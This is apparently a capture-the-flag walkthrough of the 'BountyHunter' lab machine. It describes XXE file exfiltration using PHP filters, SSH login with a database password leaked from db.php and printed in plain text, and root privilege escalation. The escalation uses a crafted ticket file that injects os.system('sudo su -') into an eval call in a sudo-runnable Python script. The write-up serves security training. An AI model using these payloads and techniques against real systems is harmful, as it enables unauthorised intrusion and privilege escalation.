BountyHunter
This was a relatively easy box. The pre-exploit included exfiltration
of source code files using XML external entities with some PHP
filtering. This then returned some credentials which could be used to
get a remote shell through SSH. For privilege escalation, a custom
Python script which could be run with elevated privileges was used.
While it was not possible to modify the script code directly, it took
a file with a very specific format as its input and fed some of the
file contents into an eval
-statement. By crafting a special input
file and feeding it to the Python script, we could grant ourselves
administrative privileges.
Port Scan
Nmap scan report for 10.10.11.100
Host is up (0.039s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Enumeration
The first thing to look at on this box is the web application on port 80, as the SSH
implementation uses a recent version and is unlikely to contain a viable attack vector.
When opening the website in the browser, most of it is not really
interesting. There is a contact form further down, which does not
seem to contain any obvious attack surfaces. However, upon navigating
to Portal
, we are redirected to /portal.php
, from where we are
again redirected to /log_submit.php
, which seems to be a bug bounty
tracking system.
Foothold
If you find an endpoint in a web application which seems very poorly designed compared to the rest of the application, such as this bounty tracker, it’s often an indicator that the developer did not really put a lot of effort into it. These are places in an application which were often badly coded and are therefore more likely to contain some vulnerabilities.
So let us see what this actually does.
Looks like, as of now, it’s not really doing anything meaningful as the database which it is supposed to store data in has not been set up yet. BurpSuite can be used to intercept this request.
Looks like all the request data is transmitted in base64
encoding.
Luckily, BurpSuite has a built-in Inspector functionality, which we
can use to decode it.
Looks like the data is being sent to the back-end in the XML format. Wherever XML is transmitted, it makes sense to check for XML External Entities (XXE). So, let us modify the request to see if we can read some files on the server.
Success! Modifying the XML data as highlighted in red allows us to
read the /etc/passwd
file.
However, this does not really get us any further (except we learn that
there is a user with the username development
). Furthermore, we do
not seem to have the ability to exfiltrate any other files. This is
bad, because there are others which may be interesting to us, such as
db.php
, which seems to handle the database connection and might
therefore contain access credentials. This file was found by
gobuster
. It is always a good idea to have some automated scans
such as directory fuzzing, port scans (maybe UDP) or vulnerability
scans running in the background while you are enumerating.
So, there seems to be some filtering process happening to prevent data
exfiltration. However, we can use PHP filtering to base64-encode the
file which we want to read. So, let’s try using this to exfiltrate
db.php
. I am assuming that it is located at the standard web-root
path for most Linux distributions, which is /var/www/html
.
We receive some encoded output. Let’s see what it says using the inspector.
And we receive some credentials for the database:
admin:m19RoAU0hP41A1sTsq6K
.
Remember that users are often lazy and tend to reuse the same password
for multiple different services. So, we can try using SSH
to
connect to the machine using the username development
which we found
earlier, and the database password m19RoAU0hP41A1sTsq6K
.
$ ssh development@10.10.11.100
development@10.10.11.100's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 15 Sep 2021 09:27:17 PM UTC
System load: 0.0
Usage of /: 23.6% of 6.83GB
Memory usage: 13%
Swap usage: 0%
Processes: 215
Users logged in: 0
IPv4 address for eth0: 10.10.11.100
IPv6 address for eth0: dead:beef::250:56ff:feb9:7f4c
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ id
uid=1000(development) gid=1000(development) groups=1000(development)
development@bountyhunter:~$
This gives us low-privilege access to the machine. The final step now is to try to find a way to gain administrative privileges.
Privilege Escalation
One of the first things I always like to do after gaining foothold on
a Linux target is running sudo -l
to see if my user has been
assigned any non-standard privileges.
development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Looks like we can run the Python script called ticketValidator.py
as
root. Here is the script code:
|
|
So, this script takes as its input a markdown file, and then checks it
for various properties to determine its validity. Unfortunately, we
don’t have write permissions to the script file. The interesting
thing here is the eval
-statement in line 34. This function executes
any Python code passed into it.
But in order to get there, we must first create a valid ticket file.
So, let us create a file called ticket.md
in the /tmp
folder and
make sure it has the format specified by the script.
The evaluate
-function starting on line 11 is what checks the ticket
file for validity. Stepping through the various checks, we see that
it loops over the lines in the ticket. The first line of the ticket
must be # Skytrain Inc
for code execution to continue. Then, the
second line must be ## Ticket to <something>
, and the third line
__Ticket Code:__<something>
.
The fourth and final line is starting to be evaluated in line 29.
This is the block we are most interested in as it contains our target:
the eval
in line 34.
Let us deconstruct what the script is looking for here. After the
initial **
that the line has to start with, the script expects a
number followed by a +
sign. This number (the variable
ticketCode
) must be congruent to 4 modulo 7 (\(x\mod 7=4\)). I am
using the number 25 here, which fulfils the requirement. But any
number with a remainder of 4 when divided by 7 would work.
Then, everything following the **
in the beginning of the line is
evaluated. The intended aim of this is to sum up two numbers and
check if the result is \(> 100\). But really, all Python code in it is
evaluated, so we can just use the and
-keyword to append any
malicious code we like. At this point, we have basically infinite
possibilities for getting an administrative shell. But I think the
simplest way is to inline-import the os
library and use sudo su -
to upgrade the shell we already have.
So, here’s the full ticket.md
file:
# Skytrain Inc
## Ticket to John
__Ticket Code:__500
**25+2 and __import__('os').system('sudo su -')**
By the way, you may think that the number evaluated at the beginning must be larger than 100 because there is a check for this. But actually, it really doesn’t matter anymore whether the ticket is evaluated or not, since we already have our shell at this point.
So, let’s run it:
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md
Destination: John
root@bountyhunter:~# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:~#
And that’s it. We now have full administrative control over our target.